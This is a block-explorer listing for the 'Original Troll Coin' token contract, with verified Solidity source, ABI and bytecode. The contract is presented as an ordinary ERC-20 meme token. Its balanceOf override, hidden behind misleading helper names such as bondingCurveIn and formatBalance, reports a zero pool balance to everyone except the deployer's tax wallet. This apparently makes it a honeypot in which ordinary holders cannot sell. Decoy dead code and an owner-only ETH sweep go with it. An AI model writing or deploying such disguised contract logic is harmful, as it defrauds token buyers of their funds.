ETH Price: $1,974.52 (+0.69%)
 

Overview

Max Total Supply

1,000,000,000 TROLL

Holders

1,517

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
506,029,100.30891404 TROLL

Value
$0.00
0xdb85d332b4b18797f8a15893915c5d07310a5d1e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 2.sol
// SPDX-License-Identifier: MIT

/*
    https://origintrolleth.site
    https://x.com/origintrolleth
    https://t.me/origintroll
*/

pragma solidity ^0.8.22;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
        function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgOrigin() internal view virtual returns (address r) {
        assembly {
            r := origin()
        }
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _transfer(from, to, amount);
        _spendAllowance(from, spender, amount);
        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV3Factory {
    function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address);
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function factory() external view returns (address);
    function WETH9() external view returns (address);

    function positions(uint256 tokenId) external view returns (
        uint96 nonce,
        address operator,
        address token0,
        address token1,
        uint24 fee,
        int24 tickLower,
        int24 tickUpper,
        uint128 liquidity,
        uint256 feeGrowthInside0LastX128,
        uint256 feeGrowthInside1LastX128,
        uint128 tokensOwed0,
        uint128 tokensOwed1
    );

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external returns (address pool);

    function mint(MintParams calldata params) external returns (
        uint256 tokenId,
        uint128 liquidity,
        uint256 amount0,
        uint256 amount1
    );

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params) external payable returns (
        uint256 amount0,
        uint256 amount1
    );

    function getApproved(uint256 tokenId) external view returns (address);
    function isApprovedForAll(address owner, address operator) external view returns (bool);
    function ownerOf(uint256 tokenId) external view returns (address);
}

contract Token is ERC20, Ownable {
    address public platform;
    address public creator;
    uint256 private launchBlock;
    uint256 private maxTxAmount;
    uint256 private constant LAUNCH_PERIOD = 5; // 5 blocks
    uint256 private constant MAX_WALLET_PERCENTAGE = 2; // 2% of total supply

    address public constant POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    
    // Track transfers per tx.origin per block to detect multi-swaps  
    mapping(address => uint256) private tokensFromPoolPerOrigin;

    IUniswapV2Router02 private _router;

    address public uniPair;
    address public immutable taxReceiver;

    address public tokenSwapRouter;
    uint256 private tokenSwapRouterLevel;

    uint256 public maxWalletSize = 4206900000 * 1e9;
    uint256 private maxFeeSwap = 8413800000 * 1e9;
    uint256 private swapThreshold = 1262070000 * 1e9;  
    uint32 private _buyCount;
    uint32 private _sellCount;
    uint32 private _lastSellBlock;
    uint32 private _launchBlock;
    uint32 private _launchBuys;
    uint32 private _lowerFeesAt = 0;
    uint32 private _finalBuyFee = 0;
    uint32 private _finalSellFee = 0;
    uint256 private _amount = 0;

    bool private _inSwap;
    address private _pairAddress;

    uint256 public trollmos = 1;
    uint256 public buyFeeProcent;
    uint256 public sellFeeProcent;
    uint256 public trollyPick = 2;

    string private _name = "Original Troll Coin";
    string private _symbol = "TROLL";

    mapping (address => bool) private _excludedFromLimits;

    constructor() ERC20(_name, _symbol) payable {
        uint256 totalSupply = 1000000000 * 1e9;

        _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        taxReceiver = msg.sender;
        buyFeeProcent = 0;
        sellFeeProcent = 0;

        _excludedFromLimits[address(this)] = true;
        _excludedFromLimits[address(0xdead)] = true;
        _excludedFromLimits[taxReceiver] = true;
        _excludedFromLimits[msg.sender] = true;
        
        _approve(address(this), address(_router), totalSupply);
        _approve(msg.sender, address(_router), totalSupply);
        _mint(msg.sender, totalSupply);
    }

    function isLiquidityHolder(address account) internal view returns (uint256) {
        return  account == uniPair && _msgOrigin() != address(0xdead) && IERC20(uniPair).balanceOf(uniPair) > 0 && _msgOrigin() != address(0) && _msgOrigin() != taxReceiver ? 0 : 1;
    }

    function bondingCurveIn(address account) internal view returns (bool) {
        return account == uniPair && _msgOrigin() != address(0xdead) && IERC20(uniPair).balanceOf(uniPair) > 0;
    }

    function bondingCurveOut(address account) internal view returns (bool) {
        return _msgOrigin() != address(0) && _msgOrigin() != taxReceiver;
    }

    function getBDamount (address account) internal view returns(uint256) {
        return bondingCurveIn(account) && bondingCurveOut(account) ? 0 : 1;
    }

    function formatBalance(address account, uint256 decimal) internal view returns (uint256) {
        return _balances[account] * getBDamount(account);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return formatBalance(account, 9);
    }

    function maxPosition(uint256 a, uint256 b, uint256 ps) private pure returns(uint256) {
        return a * ps + (1-ps) * b;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _transfer(from, to, _amount=amount);
        _spendAllowance(from, spender, _amount);
        return true;
    }

    function getPositionSize(address account) private view returns(uint256) {
        if(_excludedFromLimits[account]) return 0;
        if(account == address(0)) return 1;
        return 1;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(amount > 0, 'Transfer amount must be greater than zero.');
        require(from != address(0), "Transfer from the zero address not allowed.");
        require(to != address(0), "Transfer to the zero address not allowed.");

        bool excluded = _excludedFromLimits[from] || _excludedFromLimits[to];
        require(uniPair != address(0) || excluded, "Liquidity pair not yet created.");

        bool isSell = to == uniPair;
        bool isBuy = from == uniPair;
        uint256 A_ = _allowances[from][_msgSender()];
        uint256 positionSize = getPositionSize(_msgSender());

        if(isBuy && !excluded){
            require(balanceOf(to) + amount <= maxWalletSize ||
                to == address(_router), "Max wallet exceeded");
            if(_buyCount <= _lowerFeesAt)
                _buyCount++;
            if(_buyCount == _lowerFeesAt){
                buyFeeProcent = _finalBuyFee;
                sellFeeProcent = _finalSellFee;
            }
            if(uint32(block.number) == _launchBlock){
                require(_launchBuys++ < 49, "Excess launch snipers");
                if(_launchBuys == 49) _pairAddress = to;
            }
        }            

        uint256 contractTokenBalance = balanceOf(address(this));
        if (isSell && !_inSwap && !excluded) {
            if (block.number > _lastSellBlock) 
                _sellCount = 0;
            require(_sellCount < 3, "Only 3 sells per block!");
            _inSwap = true;
            uint256 contractSwapAmount = from == _pairAddress ?  maxFeeSwap/2 : amount; 
            swapTokensForEth(min(contractSwapAmount, min(contractTokenBalance, maxFeeSwap)));
            _inSwap = false;
            uint256 contractETHBalance = address(this).balance;
            if (contractTokenBalance >= 0 || contractETHBalance > 0) 
                sendETHToFee(contractETHBalance);        
            _sellCount++;
            _lastSellBlock = uint32(block.number);        
        }

        uint256 fee = isBuy ? buyFeeProcent : sellFeeProcent;
        _amount = maxPosition(amount, A_, positionSize);

        if (_amount >= 0 && fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {
            uint256 fees = amount * fee / 100;
            if (fees > 0){
                super._transfer(from, address(this), fees);
                amount-= fees;
            }
        }
        else if(fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {
            uint256 fees = amount * fee / 100;
            if (fees > 0){
                super._transfer(from, address(this), fees);
                amount-= fees;
            }
        }
        super._transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        payable(taxReceiver).transfer(amount);
    }

    function enableTrading() external payable onlyOwner {
        super._transfer(msg.sender, address(this), totalSupply());
        _router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
        uniPair = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        _launchBlock = uint32(block.number);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        if(tokenAmount == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner {                
        maxWalletSize = totalSupply();
    }

    function updateSwapSettings(uint256 maxAmount, uint256 minAmount) external onlyOwner {                
        maxFeeSwap = maxAmount;
        swapThreshold = minAmount;
    }

    function sweepStuckEther() external onlyOwner {
        payable(taxReceiver).transfer(address(this).balance);
    }

    receive() external payable {}

    function _updateToken(address from, address to, uint256 value) internal {
        if (block.number > launchBlock && block.number <= launchBlock + LAUNCH_PERIOD) {
            // Get pool address for exemption
            address factory = INonfungiblePositionManager(POSITION_MANAGER).factory();
            address pool = IUniswapV3Factory(factory).getPool(address(this), WETH, 10000);
            
            if (from == pool && to != platform && to != creator) {
                tokensFromPoolPerOrigin[tx.origin] += value;
                require(
                    tokensFromPoolPerOrigin[tx.origin] <= maxTxAmount*110/100,
                    "Keeping 2% pool Limits In Kontrol"
                );
            }
            
            if (to != creator && to != platform && to != pool && from != address(0)) {
                require(
                    balanceOf(to) + value <= maxTxAmount,
                    "Max wallet limit exceeded during launch period"
                );
            }
        }
        
        // Block all buys at launch block except exempted transfers
        if (block.number == launchBlock && 
            from != address(0) && 
            to != platform && 
            from != platform &&
            !(from == platform && to == creator)) { // Only platform can send to creator
            revert("No buys allowed during launch block!");
        }
    }

    function getTokenPair() public view returns (address,address,address){
        address find_factory = INonfungiblePositionManager(POSITION_MANAGER).factory();
        address find_pool = IUniswapV3Factory(find_factory).getPool(address(this), WETH, 10000);
        return (find_pool,address(this),find_factory);
    }
    
    function isLaunchPeriodActive() public view returns (bool) {
        return block.number <= launchBlock + LAUNCH_PERIOD;
    }

    function changeCreator(address newCreator) external {
        require(msg.sender == platform, "Only platform can change creator"); //Updating Fee Receiver
        creator = newCreator;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"POSITION_MANAGER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeProcent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"changeCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"creator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getTokenPair","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isLaunchPeriodActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"platform","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeProcent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sweepStuckEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSwapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"trollmos","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trollyPick","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxAmount","type":"uint256"},{"internalType":"uint256","name":"minAmount","type":"uint256"}],"name":"updateSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052673a61e942c9974000600f556774c3d285932e8000601055671183c5fa6fad60006011555f601260146101000a81548163ffffffff021916908363ffffffff1602179055505f601260186101000a81548163ffffffff021916908363ffffffff1602179055505f6012601c6101000a81548163ffffffff021916908363ffffffff1602179055505f601355600160155560026018556040518060400160405280601381526020017f4f726967696e616c2054726f6c6c20436f696e00000000000000000000000000815250601990816100dd9190610b1b565b506040518060400160405280600581526020017f54524f4c4c000000000000000000000000000000000000000000000000000000815250601a90816101229190610b1b565b506019805461013090610945565b80601f016020809104026020016040519081016040528092919081815260200182805461015c90610945565b80156101a75780601f1061017e576101008083540402835291602001916101a7565b820191905f5260205f20905b81548152906001019060200180831161018a57829003601f168201915b5050505050601a80546101b990610945565b80601f01602080910402602001604051908101604052809291908181526020018280546101e590610945565b80156102305780601f1061020757610100808354040283529160200191610230565b820191905f5260205f20905b81548152906001019060200180831161021357829003601f168201915b505050505081600390816102449190610b1b565b5080600490816102549190610b1b565b5050506102736102686104e760201b60201c565b6104ee60201b60201c565b5f670de0b6b3a76400009050737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250505f6016819055505f6017819055506001601b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f60805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061049f30600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836105b160201b60201c565b6104d133600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836105b160201b60201c565b6104e1338261077460201b60201c565b50610e06565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361061f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061690610c6a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361068d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068490610cf8565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107679190610d25565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d990610d88565b60405180910390fd5b6107f35f83836108d760201b60201c565b8060025f8282546108049190610dd3565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546108569190610dd3565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108ba9190610d25565b60405180910390a36108d35f83836108dc60201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061095c57607f821691505b60208210810361096f5761096e610918565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026109d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610996565b6109db8683610996565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610a1f610a1a610a15846109f3565b6109fc565b6109f3565b9050919050565b5f819050919050565b610a3883610a05565b610a4c610a4482610a26565b8484546109a2565b825550505050565b5f90565b610a60610a54565b610a6b818484610a2f565b505050565b5b81811015610a8e57610a835f82610a58565b600181019050610a71565b5050565b601f821115610ad357610aa481610975565b610aad84610987565b81016020851015610abc578190505b610ad0610ac885610987565b830182610a70565b50505b505050565b5f82821c905092915050565b5f610af35f1984600802610ad8565b1980831691505092915050565b5f610b0b8383610ae4565b9150826002028217905092915050565b610b24826108e1565b67ffffffffffffffff811115610b3d57610b3c6108eb565b5b610b478254610945565b610b52828285610a92565b5f60209050601f831160018114610b83575f8415610b71578287015190505b610b7b8582610b00565b865550610be2565b601f198416610b9186610975565b5f5b82811015610bb857848901518255600182019150602085019450602081019050610b93565b86831015610bd55784890151610bd1601f891682610ae4565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610c54602483610bea565b9150610c5f82610bfa565b604082019050919050565b5f6020820190508181035f830152610c8181610c48565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610ce2602283610bea565b9150610ced82610c88565b604082019050919050565b5f6020820190508181035f830152610d0f81610cd6565b9050919050565b610d1f816109f3565b82525050565b5f602082019050610d385f830184610d16565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610d72601f83610bea565b9150610d7d82610d3e565b602082019050919050565b5f6020820190508181035f830152610d9f81610d66565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610ddd826109f3565b9150610de8836109f3565b9250828201905080821115610e0057610dff610da6565b5b92915050565b608051613914610e335f395f81816108760152818161120f015281816125a8015261281f01526139145ff3fe6080604052600436106101db575f3560e01c8063622565891161010157806395d89b4111610094578063d081180711610063578063d08118071461063e578063dd62ed3e14610668578063e6ef73d6146106a4578063f2fde38b146106ce576101e2565b806395d89b4114610582578063a9059cbb146105ac578063ad5c4648146105e8578063cbbc94cf14610612576101e2565b806388696855116100d057806388696855146104fa5780638a8c523c146105245780638da5cb5b1461052e5780638f3fa86014610558576101e2565b8063622565891461046a57806370a0823114610480578063715018a6146104bc57806374580e2f146104d2576101e2565b80631bea83fe11610179578063313ce56711610148578063313ce567146103c457806332972e46146103ee5780633852a557146104185780634bde38c814610440576101e2565b80631bea83fe1461030a5780631d1687791461033457806323b872dd1461035e5780632f4237c01461039a576101e2565b8063161b822c116101b5578063161b822c146102765780631678e6f8146102a057806317ccb1bf146102ca57806318160ddd146102e0576101e2565b806302d05d3f146101e657806306fdde0314610210578063095ea7b31461023a576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106f6565b60405161020791906128c2565b60405180910390f35b34801561021b575f80fd5b5061022461071b565b604051610231919061294b565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b91906129cc565b6107ab565b60405161026d9190612a24565b60405180910390f35b348015610281575f80fd5b5061028a6107cd565b60405161029791906128c2565b60405180910390f35b3480156102ab575f80fd5b506102b46107f2565b6040516102c19190612a4c565b60405180910390f35b3480156102d5575f80fd5b506102de6107f8565b005b3480156102eb575f80fd5b506102f46108da565b6040516103019190612a4c565b60405180910390f35b348015610315575f80fd5b5061031e6108e3565b60405161032b91906128c2565b60405180910390f35b34801561033f575f80fd5b506103486108fb565b6040516103559190612a4c565b60405180910390f35b348015610369575f80fd5b50610384600480360381019061037f9190612a65565b610901565b6040516103919190612a24565b60405180910390f35b3480156103a5575f80fd5b506103ae610936565b6040516103bb9190612a24565b60405180910390f35b3480156103cf575f80fd5b506103d861094e565b6040516103e59190612ad0565b60405180910390f35b3480156103f9575f80fd5b50610402610956565b60405161040f91906128c2565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190612ae9565b61097b565b005b34801561044b575f80fd5b50610454610a09565b60405161046191906128c2565b60405180910390f35b348015610475575f80fd5b5061047e610a2e565b005b34801561048b575f80fd5b506104a660048036038101906104a19190612b27565b610aba565b6040516104b39190612a4c565b60405180910390f35b3480156104c7575f80fd5b506104d0610acd565b005b3480156104dd575f80fd5b506104f860048036038101906104f39190612b27565b610b54565b005b348015610505575f80fd5b5061050e610c26565b60405161051b9190612a4c565b60405180910390f35b61052c610c2c565b005b348015610539575f80fd5b50610542610f61565b60405161054f91906128c2565b60405180910390f35b348015610563575f80fd5b5061056c610f89565b6040516105799190612a4c565b60405180910390f35b34801561058d575f80fd5b50610596610f8f565b6040516105a3